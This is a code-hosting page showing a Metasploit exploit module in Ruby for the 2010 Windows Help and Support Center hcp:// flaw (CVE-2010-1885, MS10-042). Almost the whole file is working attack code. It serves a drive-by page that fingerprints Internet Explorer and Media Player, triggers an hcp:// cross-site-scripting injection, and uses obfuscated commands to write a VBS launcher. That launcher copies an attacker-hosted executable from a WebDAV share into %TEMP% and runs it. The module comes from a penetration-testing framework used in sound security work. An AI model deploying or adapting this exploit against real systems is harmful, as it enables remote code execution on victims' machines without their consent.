PageRenderTime 112ms CodeModel.GetById 23ms RepoModel.GetById 1ms app.codeStats 0ms

/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb

https://bitbucket.org/technopunk2099/metasploit-framework
Ruby | 347 lines | 279 code | 41 blank | 27 comment | 38 complexity | 355b24060546fd141f9fb741ded78137 MD5 | raw file
Possible License(s): BSD-3-Clause, Apache-2.0, LGPL-2.1, GPL-2.0, MIT
  1. ##
  2. # This file is part of the Metasploit Framework and may be subject to
  3. # redistribution and commercial restrictions. Please see the Metasploit
  4. # web site for more information on licensing and terms of use.
  5. # http://metasploit.com/
  6. ##
  7. require 'msf/core'
  8. class Metasploit3 < Msf::Exploit::Remote
  9. Rank = ExcellentRanking
  10. #
  11. # This module acts as an HTTP server
  12. #
  13. include Msf::Exploit::Remote::HttpServer::HTML
  14. include Msf::Exploit::EXE
  15. def initialize(info = {})
  16. super(update_info(info,
  17. 'Name' => 'Microsoft Help Center XSS and Command Execution',
  18. 'Description' => %q{
  19. Help and Support Center is the default application provided to access online
  20. documentation for Microsoft Windows. Microsoft supports accessing help documents
  21. directly via URLs by installing a protocol handler for the scheme "hcp". Due to
  22. an error in validation of input to hcp:// combined with a local cross site
  23. scripting vulnerability and a specialized mechanism to launch the XSS trigger,
  24. arbitrary command execution can be achieved.
  25. On IE7 on XP SP2 or SP3, code execution is automatic. If WMP9 is installed, it
  26. can be used to launch the exploit automatically. If IE8 and WMP11, either can
  27. be used to launch the attack, but both pop dialog boxes asking the user if
  28. execution should continue. This exploit detects if non-intrusive mechanisms are
  29. available and will use one if possible. In the case of both IE8 and WMP11, the
  30. exploit defaults to using an iframe on IE8, but is configurable by setting the
  31. DIALOGMECH option to "none" or "player".
  32. This module creates a WebDAV service from which the payload is copied to the
  33. victim machine.
  34. },
  35. 'Author' =>
  36. [
  37. 'Tavis Ormandy', # Original discovery
  38. 'natron' # Metasploit version
  39. ],
  40. 'License' => MSF_LICENSE,
  41. 'References' =>
  42. [
  43. [ 'CVE', '2010-1885' ],
  44. [ 'OSVDB', '65264' ],
  45. [ 'URL', 'http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/ADVISORY' ],
  46. [ 'URL', 'http://www.microsoft.com/technet/security/advisory/2219475.mspx' ],
  47. [ 'MSB', 'MS10-042']
  48. ],
  49. 'DefaultOptions' =>
  50. {
  51. 'EXITFUNC' => 'process',
  52. },
  53. 'Payload' =>
  54. {
  55. 'Space' => 2048,
  56. },
  57. 'Platform' => 'win',
  58. 'Targets' =>
  59. [
  60. [ 'Automatic', { } ]
  61. ],
  62. 'DisclosureDate' => 'Jun 09 2010',
  63. 'DefaultTarget' => 0))
  64. register_options(
  65. [
  66. OptPort.new( 'SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
  67. OptString.new( 'URIPATH', [ true, "The URI to use (do not change).", "/" ]),
  68. OptString.new( 'DIALOGMECH', [ true, "IE8/WMP11 trigger mechanism (none, iframe, or player).", "iframe"])
  69. ], self.class)
  70. deregister_options('SSL', 'SSLVersion') # Just for now
  71. end
  72. def on_request_uri(cli, request)
  73. # If there is no subdirectory in the request, we need to redirect.
  74. if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//)
  75. if (request.uri == '/')
  76. subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
  77. else
  78. subdir = request.uri + '/'
  79. end
  80. print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
  81. send_redirect(cli, subdir)
  82. return
  83. end
  84. case request.method
  85. when 'OPTIONS'
  86. process_options(cli, request)
  87. when 'PROPFIND'
  88. process_propfind(cli, request)
  89. when 'GET'
  90. process_get(cli, request)
  91. else
  92. print_error("Unexpected request method encountered: #{request.method}")
  93. end
  94. end
  95. def process_get(cli, request)
  96. @my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
  97. webdav_loc = "\\\\#{@my_host}\\#{@random_dir}\\#{@payload}"
  98. @url_base = "http://" + @my_host
  99. if (Regexp.new(Regexp.escape(@payload)+'$', true).match(request.uri))
  100. print_status "Sending payload executable to target ..."
  101. return if ((p = regenerate_payload(cli)) == nil)
  102. data = generate_payload_exe({ :code => p.encoded })
  103. send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
  104. return
  105. end
  106. if request.uri.match(/\.gif$/)
  107. # "world's smallest gif"
  108. data = "GIF89a\x01\x00\x01\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00!\xF9\x04\x01"
  109. data += "\x00\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;"
  110. print_status "Sending gif image to WMP"
  111. send_response(cli, data, { 'Content-TYpe' => 'image/gif' } )
  112. end
  113. # ASX Request Inbound
  114. if request.uri.match(/\.asx$/)
  115. asx = %Q|<ASX VERSION="3.0">
  116. <PARAM name="HTMLView" value="URLBASE/STARTHELP"/>
  117. <ENTRY>
  118. <REF href="URLBASE/IMGFILE"/>
  119. </ENTRY>
  120. </ASX>
  121. |
  122. asx.gsub!(/URLBASE/, @url_base)
  123. asx.gsub!(/STARTHELP/, @random_dir + "/" + @start_help)
  124. asx.gsub!(/IMGFILE/, @random_dir + "/" + @img_file)
  125. print_status("Sending asx file")
  126. send_response(cli, asx, { 'Content-Type' => 'text/html' })
  127. return
  128. end
  129. # iframe request inbound from either WMP or IE7
  130. if request.uri.match(/#{@start_help}/)
  131. help_html = <<-EOS
  132. <iframe src="hcp://services/search?query=a&topic=hcp://system/sysinfo/sysinfomain.htm%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF..%5C..%5Csysinfomain.htm%u003fsvr=%3Cscript%20defer%3Eeval%28unescape%28%27COMMANDS%27%29%29%3C/script%3E">
  133. EOS
  134. rand_vbs = rand_text_alpha(rand(2)+1) + ".vbs"
  135. copy_launch = %Q^cmd /c copy #{webdav_loc} %TEMP% && %TEMP%\\#{@payload}^
  136. vbs_content = %Q|WScript.CreateObject("WScript.Shell").Run "#{copy_launch}",0,false|
  137. write_vbs = %Q|cmd /c echo #{vbs_content}>%TEMP%\\#{rand_vbs}|
  138. launch_vbs = %Q|cscript %TEMP%\\#{rand_vbs}>nul|
  139. concat_cmds = "#{write_vbs}|#{launch_vbs}"
  140. eval_block = "Run(String.fromCharCode(#{convert_to_char_code(concat_cmds)}));"
  141. eval_block = Rex::Text.uri_encode(Rex::Text.uri_encode(eval_block))
  142. help_html.gsub!(/COMMANDS/, eval_block)
  143. print_status("Sending exploit trigger")
  144. send_response(cli, help_html, { 'Content-Type' => 'text/html' })
  145. return
  146. end
  147. # default initial response
  148. js = %Q|
  149. var asx = "URLBASE/ASXFILE";
  150. var ifr = "URLBASE/IFRFILE";
  151. function launchiframe(src) {
  152. var o = document.createElement("IFRAME");
  153. o.setAttribute("width","0");
  154. o.setAttribute("height","0");
  155. o.setAttribute("frameborder","0");
  156. o.setAttribute("src",src);
  157. document.body.appendChild(o);
  158. }
  159. if (window.navigator.appName == "Microsoft Internet Explorer") {
  160. var ua = window.navigator.userAgent;
  161. var re = new RegExp("MSIE ([0-9]{1,}[\.0-9]{0,})");
  162. re.exec(ua)
  163. ver = parseFloat( RegExp.$1 );
  164. // if ie8, check WMP version
  165. if (ver > 7) {
  166. var o = document.createElement("OBJECT");
  167. o.setAttribute("classid", "clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6");
  168. o.setAttribute("uiMode", "invisible");
  169. // if wmp9, go ahead and launch
  170. if( parseInt(o.versionInfo) < 10 ) {
  171. o.openPlayer(asx);
  172. // if > wmp9, only launch if user requests
  173. } else {
  174. DIALOGMECH
  175. }
  176. // if ie7, use iframe
  177. } else {
  178. launchiframe(ifr);
  179. }
  180. } else {
  181. // if other, try iframe
  182. launchiframe(ifr);
  183. }
  184. |
  185. html = %Q|<html>
  186. <head></head><body><script>JAVASCRIPTFU
  187. </script>
  188. </body>
  189. </html>
  190. |
  191. case datastore['DIALOGMECH']
  192. when "player"
  193. mech = "o.openPlayer(asx);"
  194. when "iframe"
  195. mech = "launchiframe(ifr);"
  196. when "none"
  197. mech = ""
  198. else
  199. mech = ""
  200. end
  201. html.gsub!(/JAVASCRIPTFU/, js)
  202. html.gsub!(/DIALOGMECH/, mech)
  203. html.gsub!(/URLBASE/, @url_base)
  204. html.gsub!(/ASXFILE/, @random_dir + "/" + @asx_file)
  205. html.gsub!(/IFRFILE/, @random_dir + "/" + @start_help)
  206. print_status("Sending #{self.name}")
  207. headers = {
  208. 'Content-Type' => 'text/html',
  209. #'X-UA-Compatible' => 'IE=7'
  210. }
  211. send_response(cli, html, headers)
  212. end
  213. #
  214. # OPTIONS requests sent by the WebDav Mini-Redirector
  215. #
  216. def process_options(cli, request)
  217. print_status("Responding to WebDAV OPTIONS request")
  218. headers = {
  219. #'DASL' => '<DAV:sql>',
  220. #'DAV' => '1, 2',
  221. 'Allow' => 'OPTIONS, GET, PROPFIND',
  222. 'Public' => 'OPTIONS, GET, PROPFIND'
  223. }
  224. send_response(cli, '', headers)
  225. end
  226. def convert_to_char_code(str)
  227. return str.unpack('H*')[0].gsub(Regexp.new(".{#{2}}", nil, 'n')) { |s| s.hex.to_s + "," }.chop
  228. end
  229. #
  230. # PROPFIND requests sent by the WebDav Mini-Redirector
  231. #
  232. def process_propfind(cli, request)
  233. path = request.uri
  234. print_status("Received WebDAV PROPFIND request")
  235. body = ''
  236. if (Regexp.new(Regexp.escape(@payload)+'$', true).match(path))
  237. # Response for the EXE
  238. print_status("Sending EXE multistatus for #{path} ...")
  239. #<lp1:getcontentlength>45056</lp1:getcontentlength>
  240. body = %Q|<?xml version="1.0" encoding="utf-8"?>
  241. <D:multistatus xmlns:D="DAV:">
  242. <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
  243. <D:href>#{path}</D:href>
  244. <D:propstat>
  245. <D:prop>
  246. <lp1:resourcetype/>
  247. <lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
  248. <lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
  249. <lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
  250. <lp2:executable>F</lp2:executable>
  251. <D:lockdiscovery/>
  252. <D:getcontenttype>application/octet-stream</D:getcontenttype>
  253. </D:prop>
  254. <D:status>HTTP/1.1 200 OK</D:status>
  255. </D:propstat>
  256. </D:response>
  257. </D:multistatus>
  258. |
  259. elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i)
  260. print_status("Sending 404 for #{path} ...")
  261. send_not_found(cli)
  262. return
  263. elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
  264. # Response for anything else (generally just /)
  265. print_status("Sending directory multistatus for #{path} ...")
  266. body = %Q|<?xml version="1.0" encoding="utf-8"?>
  267. <D:multistatus xmlns:D="DAV:">
  268. <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
  269. <D:href>#{path}</D:href>
  270. <D:propstat>
  271. <D:prop>
  272. <lp1:resourcetype><D:collection/></lp1:resourcetype>
  273. <lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
  274. <lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
  275. <lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
  276. <D:lockdiscovery/>
  277. <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
  278. </D:prop>
  279. <D:status>HTTP/1.1 200 OK</D:status>
  280. </D:propstat>
  281. </D:response>
  282. </D:multistatus>
  283. |
  284. else
  285. print_status("Sending 404 for #{path} ...")
  286. send_not_found(cli)
  287. return
  288. end
  289. # send the response
  290. resp = create_response(207, "Multi-Status")
  291. resp.body = body
  292. resp['Content-Type'] = 'text/xml'
  293. cli.send_response(resp)
  294. end
  295. def exploit
  296. @random_dir = rand_text_alpha(rand(2)+1)
  297. @asx_file = rand_text_alpha(rand(2)+1) + ".asx"
  298. @start_help = rand_text_alpha(rand(2)+1) + ".html"
  299. @payload = rand_text_alpha(rand(2)+1) + ".exe"
  300. @img_file = rand_text_alpha(rand(2)+1) + ".gif"
  301. if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
  302. fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
  303. end
  304. super
  305. end
  306. end